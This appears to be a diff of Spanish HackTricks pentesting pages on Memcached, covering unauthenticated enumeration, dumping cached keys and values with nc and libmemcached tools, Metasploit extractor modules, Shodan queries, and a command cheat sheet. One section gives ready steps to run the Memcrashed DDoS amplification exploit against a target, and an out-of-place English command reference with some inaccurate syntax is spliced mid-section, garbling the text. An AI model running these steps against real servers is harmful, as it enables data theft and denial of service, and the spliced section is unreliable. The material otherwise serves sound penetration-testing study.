* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Información del protocolo
|
||||
|
||||
**Memcached** (pronunciación: mem-cached, mem-cash-dee) es un sistema de caché de memoria distribuida de propósito general. A menudo se utiliza para acelerar sitios web dinámicos impulsados por bases de datos mediante el almacenamiento en caché de datos y objetos en RAM para reducir la cantidad de veces que se debe leer una fuente de datos externa (como una base de datos o una API). (De [wikipedia](https://en.wikipedia.org/wiki/Memcached))\
|
||||
Aunque Memcached admite SASL, la mayoría de las instancias están **expuestas sin autenticación**.
|
||||
|
||||
**Puerto predeterminado:** 11211
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
11211/tcp open unknown
|
||||
```
|
||||
## Enumeración
|
||||
|
||||
### Manual
|
||||
|
||||
Para extraer toda la información guardada dentro de una instancia de memcache, necesitas:
|
||||
|
||||
1. Encontrar **slabs** con **items activos**
|
||||
2. Obtener los **nombres de las claves** de los slabs detectados anteriormente
|
||||
3. Exfiltrar los **datos guardados** obteniendo los nombres de las claves
|
||||
|
||||
Recuerda que este servicio es solo una **caché**, por lo que los **datos pueden aparecer y desaparecer**.
|
||||
```bash
|
||||
echo "version" | nc -vn -w 1 <IP> 11211 #Get version
|
||||
echo "stats" | nc -vn -w 1 <IP> 11211 #Get status
|
||||
echo "stats slabs" | nc -vn -w 1 <IP> 11211 #Get slabs
|
||||
echo "stats items" | nc -vn -w 1 <IP> 11211 #Get items of slabs with info
|
||||
echo "stats cachedump <number> 0" | nc -vn -w 1 <IP> 11211 #Get key names (the 0 is for unlimited output size)
|
||||
echo "get <item_name>" | nc -vn -w 1 <IP> 11211 #Get saved info
|
||||
|
||||
#This php will just dump the keys, you need to use "get <item_name> later"
|
||||
sudo apt-get install php-memcached
|
||||
php -r '$c = new Memcached(); $c->addServer("localhost", 11211); var_dump( $c->getAllKeys() );'
|
||||
```
|
||||
### Manual2
|
||||
|
||||
#### Descripción
|
||||
|
||||
Memcached es un sistema de almacenamiento en caché distribuido de alta velocidad que se utiliza comúnmente para acelerar las aplicaciones web mediante el almacenamiento en caché de objetos en la memoria RAM. Memcached se ejecuta en un servidor y las aplicaciones web se conectan a él a través de una red para almacenar y recuperar datos en caché.
|
||||
|
||||
#### Escaneo
|
||||
|
||||
Para escanear un servidor en busca de Memcached, podemos usar la herramienta `nmap` con el script `memcached-info`:
|
||||
|
||||
```
|
||||
nmap -sV --script=memcached-info <target>
|
||||
```
|
||||
|
||||
#### Explotación
|
||||
|
||||
Una vez que hemos identificado un servidor Memcached, podemos intentar explotar su configuración predeterminada para realizar un ataque de amplificación de reflexión. Para hacer esto, podemos usar la herramienta `memcrashed`:
|
||||
|
||||
```
|
||||
git clone https://github.com/649/Memcrashed-DDoS-Exploit.git
|
||||
cd Memcrashed-DDoS-Exploit
|
||||
python3 memcrashed.py <target>
|
||||
```
|
||||
|
||||
También podemos intentar realizar una fuga de información utilizando el comando `stats` de Memcached:
|
||||
|
||||
```
|
||||
echo "stats" | nc <target> 11211
|
||||
```
|
||||
|
||||
Esto nos dará información sobre el servidor Memcached, incluyendo estadísticas de uso y configuración. Si el servidor está configurado para permitir la lectura de claves, también podemos usar el comando `get` para recuperar valores de caché:
|
||||
|
||||
```
|
||||
echo "get <key>" | nc <target> 11211
|
||||
```
|
||||
|
||||
#### Mitigación
|
||||
|
||||
Para mitigar los ataques de amplificación de reflexión de Memcached, se recomienda deshabilitar el acceso público a los servidores Memcached y limitar el acceso a través de una red privada o una VPN. También se puede configurar Memcached para que solo escuche en interfaces de red específicas y se pueden implementar listas blancas de direcciones IP para limitar aún más el acceso.
|
||||
```bash
|
||||
sudo apt install libmemcached-tools
|
||||
memcstat --servers=127.0.0.1 #Get stats
|
||||
memcdump --servers=127.0.0.1 #Get all items
|
||||
memccat --servers=127.0.0.1 <item1> <item2> <item3> #Get info inside the item(s)
|
||||
```
|
||||
### Automático
|
||||
```bash
|
||||
nmap -n -sV --script memcached-info -p 11211 <IP> #Just gather info
|
||||
msf > use auxiliary/gather/memcached_extractor #Extracts saved data
|
||||
msf > use auxiliary/scanner/memcached/memcached_amp #Check is UDP DDoS amplification attack is possible
|
||||
```
|
||||
## Extrayendo claves de Memcache <a href="#dumping-memcache-keys" id="dumping-memcache-keys"></a>
|
||||
|
||||
**Si tu versión de memcached es superior a 1.4.31, lee la siguiente sección para conocer un método avanzado de extracción de claves.**
|
||||
|
||||
El protocolo de memcache proporciona [comandos](https://lzone.de/articles/memcached.htm) para espiar los datos que están organizados por fragmentos (categorías de datos de un rango de tamaño dado). Sin embargo, hay algunas limitaciones significativas:
|
||||
|
||||
1. Solo puedes extraer claves por clase de fragmento (claves con un tamaño de contenido aproximado)
|
||||
2. Solo puedes extraer una página por clase de fragmento (1MB de datos)
|
||||
3. Esta es una característica no oficial que [podría eliminarse en cualquier momento.](https://groups.google.com/forum/?fromgroups=#!topic/memcached/1-T8I-RVGKM)
|
||||
|
||||
La segunda limitación es probablemente la más difícil porque 1MB de varios gigabytes es casi nada. Aún así, puede ser útil observar cómo se usan un subconjunto de tus claves. Pero esto puede depender de tu caso de uso. Si no te importan los detalles técnicos, simplemente salta a la sección de [herramientas](https://lzone.de/cheat-sheet/memcached#tools) para aprender sobre qué herramientas te permiten extraer todo fácilmente. Alternativamente, sigue la siguiente guía y prueba los comandos [usando telnet](https://lzone.de/articles/memcached.htm) contra tu configuración de memcached. **Cómo funciona** Primero necesitas saber cómo memcache organiza su memoria. Si inicias memcache con la opción "-vv", verás las clases de fragmentos que crea. Por ejemplo:
|
||||
```
|
||||
$ memcached -vv
|
||||
slab class 1: chunk size 96 perslab 10922
|
||||
slab class 2: chunk size 120 perslab 8738
|
||||
slab class 3: chunk size 152 perslab 6898
|
||||
slab class 4: chunk size 192 perslab 5461
|
||||
[...]
|
||||
```
|
||||
En la configuración impresa anteriormente, memcache mantendrá en forma 6898 piezas de datos entre 121 y 152 bytes en una sola losa de tamaño 1MB (6898\*152). Todas las losas tienen un tamaño predeterminado de 1MB. Use el siguiente comando para imprimir todas las losas existentes actualmente:
|
||||
```
|
||||
stats slabs
|
||||
```
|
||||
Si has añadido una única clave a un memcached 1.4.13 vacío con
|
||||
```
|
||||
set mykey 0 60 1
|
||||
1
|
||||
STORED
|
||||
```
|
||||
Ahora verás el siguiente resultado para el comando "stats slabs":
|
||||
```
|
||||
stats slabs
|
||||
STAT 1:chunk_size 96
|
||||
STAT 1:chunks_per_page 10922
|
||||
STAT 1:total_pages 1
|
||||
STAT 1:total_chunks 10922
|
||||
STAT 1:used_chunks 1
|
||||
STAT 1:free_chunks 0
|
||||
STAT 1:free_chunks_end 10921
|
||||
STAT 1:mem_requested 71
|
||||
STAT 1:get_hits 0
|
||||
STAT 1:cmd_set 2
|
||||
STAT 1:delete_hits 0
|
||||
STAT 1:incr_hits 0
|
||||
STAT 1:decr_hits 0
|
||||
STAT 1:cas_hits 0
|
||||
STAT 1:cas_badval 0
|
||||
STAT 1:touch_hits 0
|
||||
STAT active_slabs 1
|
||||
STAT total_malloced 1048512
|
||||
END
|
||||
```
|
||||
El ejemplo muestra que solo tenemos un tipo de fragmento activo, el #1. Nuestra clave, siendo de solo un byte, encaja en esto como el tamaño de fragmento más pequeño posible. Las estadísticas de fragmentos muestran que actualmente solo existe una página de la clase de fragmentos y que solo se utiliza un fragmento. **Lo más importante es que muestra un contador para cada operación de escritura (set, incr, decr, cas, touch) y uno para gets. ¡Usando estos, puedes determinar una tasa de aciertos!** También puedes obtener otro conjunto de información usando "stats items" con contadores interesantes sobre evicciones y contadores de falta de memoria.
|
||||
```
|
||||
stats items
|
||||
STAT items:1:number 1
|
||||
STAT items:1:age 4
|
||||
STAT items:1:evicted 0
|
||||
STAT items:1:evicted_nonzero 0
|
||||
STAT items:1:evicted_time 0
|
||||
STAT items:1:outofmemory 0
|
||||
STAT items:1:tailrepairs 0
|
||||
STAT items:1:reclaimed 0
|
||||
STAT items:1:expired_unfetched 0
|
||||
STAT items:1:evicted_unfetched 0
|
||||
END
|
||||
```
|
||||
**Lo que ya podemos adivinar...** Dados los datos estadísticos por clase de losas, ya podemos adivinar muchas cosas sobre el comportamiento de la aplicación:
|
||||
|
||||
1. ¿Cómo es la proporción de caché para diferentes tamaños de contenido?
|
||||
* ¿Qué tan bueno es el almacenamiento en caché de grandes fragmentos de HTML?
|
||||
2. ¿Cuánta memoria gastamos en diferentes tamaños de contenido?
|
||||
* ¿Cuánto gastamos en contadores numéricos simples?
|
||||
* ¿Cuánto gastamos en nuestros datos de sesión?
|
||||
* ¿Cuánto gastamos en grandes fragmentos de HTML?
|
||||
3. ¿Cuántos objetos grandes podemos almacenar en caché en total?
|
||||
|
||||
Por supuesto, para responder a las preguntas, es necesario conocer los objetos de caché de su aplicación. **Ahora: ¿Cómo volcar claves?** Las claves se pueden volcar por clase de losas utilizando el comando "stats cachedump".
|
||||
```
|
||||
stats cachedump <slab class> <number of items to dump>
|
||||
```
|
||||
Para volcar nuestra única clave en la clase #1, ejecutamos:
|
||||
```
|
||||
stats cachedump 1 1000
|
||||
ITEM mykey [1 b; 1350677968 s]
|
||||
END
|
||||
```
|
||||
El comando "cachedump" devuelve un elemento por línea. El primer número entre llaves indica el tamaño en bytes, el segundo el timestamp de creación. Dado el nombre de la clave, ahora también puedes volcar su valor usando.
|
||||
```
|
||||
get mykey
|
||||
VALUE mykey 0 1
|
||||
1
|
||||
END
|
||||
```
|
||||
Aquí está: itera sobre todas las clases de fragmentos que desees, extrae los nombres de las claves y, si es necesario, vuelca su contenido.
|
||||
|
||||
### **VOLCADO DE CLAVES DE MEMCACHE (VERSIÓN 1.4.31+)**
|
||||
|
||||
En la versión 1.4.31 y superior de memcache, hay un nuevo comando para volcar las claves de memoria en modo no bloqueante (lea https://github.com/memcached/memcached/wiki/ReleaseNotes1431). Este método es seguro para ejecutar en producción. La salida no es consistente, pero es lo suficientemente buena para encontrar claves, su tiempo exacto de expiración (EXP) y el último tiempo de acceso (LA). Debido a la gran cantidad de salida generada, se recomienda utilizar el comando 'nc'. Ejemplos:
|
||||
```
|
||||
echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | head -1
|
||||
key=0dLLX%253Amemcache_test_key exp=1590718787 la=1590718487 cas=2238881166 fetch=yes
|
||||
|
||||
echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | grep ee6ba58566e234ccbbce13f9a24f9a28
|
||||
key=VQRFX%253Aee6ba58566e234ccbbce13f9a24f9a28 exp=-1 la=1590386157 cas=1776204003 fetch=yes
|
||||
key=0dLLX%253Aee6ba58566e234ccbbce13f9a24f9a28 exp=-1 la=1590712292 cas=2225524871 fetch=yes
|
||||
```
|
||||
EXP=-1 significa que el elemento nunca expira. EXP=1590718787 (vie may 29 02:19:47 GMT 2020) guarda la marca de tiempo Unix cuando el elemento debería expirar. LA=1590712292 (lun may 25 05:55:57 GMT 2020) guarda la marca de tiempo Unix cuando se accedió por última vez al elemento.
|
||||
|
||||
### **HERRAMIENTAS DE VOLCADO**
|
||||
|
||||
Existen diferentes herramientas de volcado, a veces solo scripts, que te ayudan a imprimir las claves de memcache:
|
||||
|
||||
| Lenguajes de programación | Herramientas | Funcionalidad | | |
|
||||
| ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------- | ------- |
|
||||
| PHP | [simple script](http://snipt.org/xtP) | Imprime los nombres de las claves. | | |
|
||||
| Perl | [simple script](https://wiki.jasig.org/download/attachments/13572172/memcached-clean.pl?version=1\&modificationDate=1229693957401) | Imprime las claves y los valores. | | |
|
||||
| Ruby | [simple script](https://gist.github.com/1365005) | Imprime los nombres de las claves. | | |
|
||||
| Perl | [memdump](https://search.cpan.org/\~dmaki/Memcached-libmemcached-0.4202/src/libmemcached/docs/memdump.pod) | Herramienta en el módulo CPAN | [Memcached-libmemcached](https://search.cpan.org/\~dmaki/Memcached-libmemc) | ached/) |
|
||||
| PHP | [memcache.php](http://livebookmark.net/journal/2008/05/21/memcachephp-stats-like-apcphp/) | GUI de monitoreo de Memcache que también permite el volcado de claves. | | |
|
||||
| libmemcached | [peep](http://blog.evanweaver.com/2009/04/20/peeping-into-memcached/) | **¡Congela tu proceso de memcached!** Ten cuidado al usar esto en producción. Aún así, puedes sortear la limitación de 1MB y realmente volcar **todas** las claves. | | |
|
||||
|
||||
## Solución de problemas <a href="#troubleshooting" id="troubleshooting"></a>
|
||||
|
||||
### Límite de datos de 1MB <a href="#1mb-data-limit" id="1mb-data-limit"></a>
|
||||
|
||||
Ten en cuenta que antes de memcached 1.4 no puedes almacenar objetos mayores de 1MB debido al tamaño máximo de slab predeterminado.
|
||||
|
||||
### ¡Nunca establezcas un tiempo de espera > 30 días! <a href="#never-set-a-timeout--30-days" id="never-set-a-timeout--30-days"></a>
|
||||
|
||||
Si intentas "establecer" o "agregar" una clave con un tiempo de espera mayor que el máximo permitido, es posible que no obtengas lo que esperas porque memcached trata el valor como una marca de tiempo Unix. Además, si la marca de tiempo está en el pasado, no hará nada en absoluto. Tu comando fallará silenciosamente.
|
||||
|
||||
Por lo tanto, si deseas utilizar el tiempo de vida máximo, especifica 2592000. Ejemplo:
|
||||
```
|
||||
set my_key 0 2592000 1
|
||||
1
|
||||
```
|
||||
### Desaparición de claves en desbordamiento <a href="#disappearing-keys-on-overflow" id="disappearing-keys-on-overflow"></a>
|
||||
|
||||
A pesar de que la documentación dice algo sobre el desbordamiento de 64 bits, usando "incr" hace que el valor desaparezca. Es necesario crearlo de nuevo usando "add" / "set".
|
||||
|
||||
### Replicación <a href="#replication" id="replication"></a>
|
||||
|
||||
memcached en sí no admite la replicación. Si realmente lo necesita, debe usar soluciones de terceros:
|
||||
|
||||
* [repcached](http://repcached.lab.klab.org/): replicación asíncrona multi-maestro (conjunto de parches memcached 1.2)
|
||||
* [Interfaz de memcached de Couchbase](http://www.couchbase.com/memcached): Use CouchBase como reemplazo de memcached
|
||||
* [yrmcds](https://cybozu.github.io/yrmcds/): almacenamiento de clave-valor maestro-esclavo compatible con memcached
|
||||
* [twemproxy](https://github.com/twitter/twemproxy) (también conocido como nutcracker): proxy con soporte memcached
|
||||
|
||||
### Hoja de trucos de comandos
|
||||
|
||||
{% content-ref url="memcache-commands.md" %}
|
||||
[memcache-commands.md](memcache-commands.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **Shodan**
|
||||
|
||||
* `port:11211 "STAT pid"`
|
||||
* `"STAT pid"`
|
||||
|
||||
## Referencias
|
||||
|
||||
* [https://lzone.de/cheat-sheet/memcached](https://lzone.de/cheat-sheet/memcached)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
309
network-services-pentesting/11211-memcache/memcache-commands.md
Normal file
309
network-services-pentesting/11211-memcache/memcache-commands.md
Normal file
|
@ -0,0 +1,309 @@
|
|||
# Comandos de Memcache
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Hoja de trucos de comandos
|
||||
|
||||
**De** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached)\*\*\*\*
|
||||
|
||||
Los comandos admitidos (los oficiales y algunos no oficiales) se documentan en el documento [doc/protocol.txt](https://github.com/memcached/memcached/blob/master/doc/protocol.txt).
|
||||
|
||||
Lamentablemente, la descripción de la sintaxis no es muy clara y un simple comando de ayuda que enumere los comandos existentes sería mucho mejor. Aquí hay una descripción general de los comandos que se pueden encontrar en la [fuente](https://github.com/memcached/memcached) (a partir del 19.08.2016):
|
||||
|
||||
| Comando | Descripción | Ejemplo |
|
||||
| --------------------- | --------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| get | Lee un valor | `get mykey` |
|
||||
| set | Establece una clave sin condiciones | <p><code>set mykey <flags> <ttl> <size></code><br><br><p>Asegúrese de usar \r\n como saltos de línea al usar herramientas de CLI de Unix. Por ejemplo</p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> |
|
||||
| add | Agrega una nueva clave | `add newkey 0 60 5` |
|
||||
| replace | Sobrescribe una clave existente | `replace key 0 60 5` |
|
||||
| append | Agrega datos a una clave existente | `append key 0 60 15` |
|
||||
| prepend | Agrega datos al principio de una clave existente | `prepend key 0 60 15` |
|
||||
| incr | Incrementa el valor de la clave numérica en la cantidad dada | `incr mykey 2` |
|
||||
| decr | Decrementa el valor de la clave numérica en la cantidad dada | `decr mykey 5` |
|
||||
| delete | Elimina una clave existente | `delete mykey` |
|
||||
| flush\_all | Invalida todos los elementos inmediatamente | `flush_all` |
|
||||
| flush\_all | Invalida todos los elementos en n segundos | `flush_all 900` |
|
||||
| stats | Imprime estadísticas generales | `stats` |
|
||||
| | Imprime estadísticas de memoria | `stats slabs` |
|
||||
| | Imprime estadísticas de asignación de nivel superior | `stats malloc` |
|
||||
| | Imprime información sobre elementos | `stats items` |
|
||||
| | | `stats detail` |
|
||||
| | | `stats sizes` |
|
||||
| | Restablece los contadores de estadísticas | `stats reset` |
|
||||
| lru\_crawler metadump | Vuelca (la mayoría de) los metadatos de (todos) los elementos en la caché | `lru_crawler metadump all` |
|
||||
| version | Imprime la versión del servidor. | `version` |
|
||||
| verbosity | Aumenta el nivel de registro | `verbosity` |
|
||||
| quit | Termina la sesión | `quit` |
|
||||
|
||||
#### Estadísticas de tráfico <a href="#traffic-statistics" id="traffic-statistics"></a>
|
||||
|
||||
Puede consultar las estadísticas de tráfico actuales utilizando el comando.
|
||||
```
|
||||
stats
|
||||
```
|
||||
Obtendrás una lista que muestra el número de conexiones, bytes de entrada/salida y mucho más.
|
||||
|
||||
Ejemplo de salida:
|
||||
```
|
||||
STAT pid 14868
|
||||
STAT uptime 175931
|
||||
STAT time 1220540125
|
||||
STAT version 1.2.2
|
||||
STAT pointer_size 32
|
||||
STAT rusage_user 620.299700
|
||||
STAT rusage_system 1545.703017
|
||||
STAT curr_items 228
|
||||
STAT total_items 779
|
||||
STAT bytes 15525
|
||||
STAT curr_connections 92
|
||||
STAT total_connections 1740
|
||||
STAT connection_structures 165
|
||||
STAT cmd_get 7411
|
||||
STAT cmd_set 28445156
|
||||
STAT get_hits 5183
|
||||
STAT get_misses 2228
|
||||
STAT evictions 0
|
||||
STAT bytes_read 2112768087
|
||||
STAT bytes_written 1000038245
|
||||
STAT limit_maxbytes 52428800
|
||||
STAT threads 1
|
||||
END
|
||||
```
|
||||
#### Estadísticas de Memoria <a href="#memory-statistics" id="memory-statistics"></a>
|
||||
|
||||
Puedes consultar las estadísticas actuales de memoria usando
|
||||
```
|
||||
stats slabs
|
||||
```
|
||||
```
|
||||
# Memcache Commands
|
||||
|
||||
Memcache is a distributed memory caching system often used to speed up dynamic web applications by caching data and objects in RAM to reduce the number of times an external data source (such as a database or API) must be read.
|
||||
|
||||
## Basic Commands
|
||||
|
||||
### SET
|
||||
|
||||
The `SET` command is used to store a value in memcache. The syntax is as follows:
|
||||
|
||||
```
|
||||
SET <key> <flags> <exptime> <bytes> [noreply]\r\n
|
||||
<value>\r\n
|
||||
```
|
||||
|
||||
- `<key>`: The key under which to store the value.
|
||||
- `<flags>`: An arbitrary 16-bit unsigned integer (written in decimal) that the server stores along with the data and sends back when the item is retrieved.
|
||||
- `<exptime>`: The expiration time for the item, in seconds. If set to `0`, the item never expires.
|
||||
- `<bytes>`: The number of bytes in the value.
|
||||
- `[noreply]`: Optional parameter that tells the server not to send a response.
|
||||
|
||||
Example:
|
||||
|
||||
```
|
||||
SET mykey 0 3600 5\r\nhello\r\n
|
||||
```
|
||||
|
||||
This sets the value of `mykey` to `hello`, with no flags, an expiration time of 3600 seconds (1 hour), and a value length of 5 bytes.
|
||||
|
||||
### GET
|
||||
|
||||
The `GET` command is used to retrieve a value from memcache. The syntax is as follows:
|
||||
|
||||
```
|
||||
GET <key>\r\n
|
||||
```
|
||||
|
||||
- `<key>`: The key of the value to retrieve.
|
||||
|
||||
Example:
|
||||
|
||||
```
|
||||
GET mykey\r\n
|
||||
```
|
||||
|
||||
This retrieves the value of `mykey`.
|
||||
|
||||
### DELETE
|
||||
|
||||
The `DELETE` command is used to delete a value from memcache. The syntax is as follows:
|
||||
|
||||
```
|
||||
DELETE <key> [noreply]\r\n
|
||||
```
|
||||
|
||||
- `<key>`: The key of the value to delete.
|
||||
- `[noreply]`: Optional parameter that tells the server not to send a response.
|
||||
|
||||
Example:
|
||||
|
||||
```
|
||||
DELETE mykey\r\n
|
||||
```
|
||||
|
||||
This deletes the value of `mykey`.
|
||||
|
||||
## Advanced Commands
|
||||
|
||||
### STATS
|
||||
|
||||
The `STATS` command is used to retrieve statistics about the memcache server. The syntax is as follows:
|
||||
|
||||
```
|
||||
STATS [settings]\r\n
|
||||
```
|
||||
|
||||
- `[settings]`: Optional parameter that specifies which statistics to retrieve. If not specified, all statistics are returned.
|
||||
|
||||
Example:
|
||||
|
||||
```
|
||||
STATS\r\n
|
||||
```
|
||||
|
||||
This retrieves all statistics.
|
||||
|
||||
### FLUSH_ALL
|
||||
|
||||
The `FLUSH_ALL` command is used to delete all values from memcache. The syntax is as follows:
|
||||
|
||||
```
|
||||
FLUSH_ALL [delay]\r\n
|
||||
```
|
||||
|
||||
- `[delay]`: Optional parameter that specifies the number of seconds to wait before flushing the cache. If not specified, the cache is flushed immediately.
|
||||
|
||||
Example:
|
||||
|
||||
```
|
||||
FLUSH_ALL\r\n
|
||||
```
|
||||
|
||||
This immediately flushes the cache.
|
||||
|
||||
### INCR/DECR
|
||||
|
||||
The `INCR` and `DECR` commands are used to increment or decrement a numeric value in memcache. The syntax is as follows:
|
||||
|
||||
```
|
||||
INCR <key> <value> [noreply]\r\n
|
||||
DECR <key> <value> [noreply]\r\n
|
||||
```
|
||||
|
||||
- `<key>`: The key of the value to increment or decrement.
|
||||
- `<value>`: The amount to increment or decrement the value by.
|
||||
- `[noreply]`: Optional parameter that tells the server not to send a response.
|
||||
|
||||
Example:
|
||||
|
||||
```
|
||||
SET mycounter 0 0 1\r\n0\r\n
|
||||
INCR mycounter 1\r\n
|
||||
```
|
||||
|
||||
This sets the value of `mycounter` to `0`, then increments it by `1`.
|
||||
|
||||
### APPEND/PREPEND
|
||||
|
||||
The `APPEND` and `PREPEND` commands are used to append or prepend data to an existing value in memcache. The syntax is as follows:
|
||||
|
||||
```
|
||||
APPEND <key> <flags> <exptime> <bytes> [noreply]\r\n
|
||||
<value>\r\n
|
||||
PREPEND <key> <flags> <exptime> <bytes> [noreply]\r\n
|
||||
<value>\r\n
|
||||
```
|
||||
|
||||
- `<key>`: The key of the value to append or prepend to.
|
||||
- `<flags>`: An arbitrary 16-bit unsigned integer (written in decimal) that the server stores along with the data and sends back when the item is retrieved.
|
||||
- `<exptime>`: The expiration time for the item, in seconds. If set to `0`, the item never expires.
|
||||
- `<bytes>`: The number of bytes in the value to append or prepend.
|
||||
- `[noreply]`: Optional parameter that tells the server not to send a response.
|
||||
|
||||
Example:
|
||||
|
||||
```
|
||||
SET mykey 0 0 5\r\nworld\r\n
|
||||
APPEND mykey 0 0 1\r\n!\r\n
|
||||
```
|
||||
|
||||
This sets the value of `mykey` to `world`, then appends `!` to it.
|
||||
|
||||
### CAS
|
||||
|
||||
The `CAS` command is used to check and set a value in memcache. The syntax is as follows:
|
||||
|
||||
```
|
||||
CAS <key> <flags> <exptime> <bytes> <cas_unique> [noreply]\r\n
|
||||
<value>\r\n
|
||||
```
|
||||
|
||||
- `<key>`: The key of the value to check and set.
|
||||
- `<flags>`: An arbitrary 16-bit unsigned integer (written in decimal) that the server stores along with the data and sends back when the item is retrieved.
|
||||
- `<exptime>`: The expiration time for the item, in seconds. If set to `0`, the item never expires.
|
||||
- `<bytes>`: The number of bytes in the value.
|
||||
- `<cas_unique>`: A unique value that identifies the current state of the value. If the value has been modified since it was last retrieved, the `CAS` command fails.
|
||||
- `[noreply]`: Optional parameter that tells the server not to send a response.
|
||||
|
||||
Example:
|
||||
|
||||
```
|
||||
SET mykey 0 0 5\r\nhello\r\n
|
||||
gets mykey\r\n
|
||||
# returns: VALUE mykey 0 5 123456\r\nhello\r\n
|
||||
cas mykey 0 0 5 123456\r\nworld\r\n
|
||||
```
|
||||
|
||||
This sets the value of `mykey` to `hello`, retrieves it with the `gets` command (which returns the value and its unique identifier), then sets it to `world` using the `cas` command (which only succeeds if the unique identifier matches the current state of the value).
|
||||
```
|
||||
STAT 1:chunk_size 80
|
||||
STAT 1:chunks_per_page 13107
|
||||
STAT 1:total_pages 1
|
||||
STAT 1:total_chunks 13107
|
||||
STAT 1:used_chunks 13106
|
||||
STAT 1:free_chunks 1
|
||||
STAT 1:free_chunks_end 12886
|
||||
STAT 2:chunk_size 100
|
||||
STAT 2:chunks_per_page 10485
|
||||
STAT 2:total_pages 1
|
||||
STAT 2:total_chunks 10485
|
||||
STAT 2:used_chunks 10484
|
||||
STAT 2:free_chunks 1
|
||||
STAT 2:free_chunks_end 10477
|
||||
[...]
|
||||
STAT active_slabs 3
|
||||
STAT total_malloced 3145436
|
||||
END
|
||||
```
|
||||
Si no estás seguro de si tienes suficiente memoria para tu instancia de memcached, siempre debes estar atento a los contadores de "evictions" proporcionados por el comando "stats". Si tienes suficiente memoria para la instancia, el contador de "evictions" debería ser 0 o al menos no estar aumentando.
|
||||
|
||||
#### ¿Qué claves se utilizan? <a href="#which-keys-are-used" id="which-keys-are-used"></a>
|
||||
|
||||
No hay una función incorporada para determinar directamente el conjunto actual de claves. Sin embargo, puedes usar el
|
||||
```
|
||||
stats items
|
||||
```
|
||||
Comando para determinar cuántas claves existen.
|
||||
|
||||
```
|
||||
stats items
|
||||
```
|
||||
```
|
||||
stats items
|
||||
STAT items:1:number 220
|
||||
STAT items:1:age 83095
|
||||
STAT items:2:number 7
|
||||
STAT items:2:age 1405
|
||||
[...]
|
||||
END
|
||||
```
|
||||
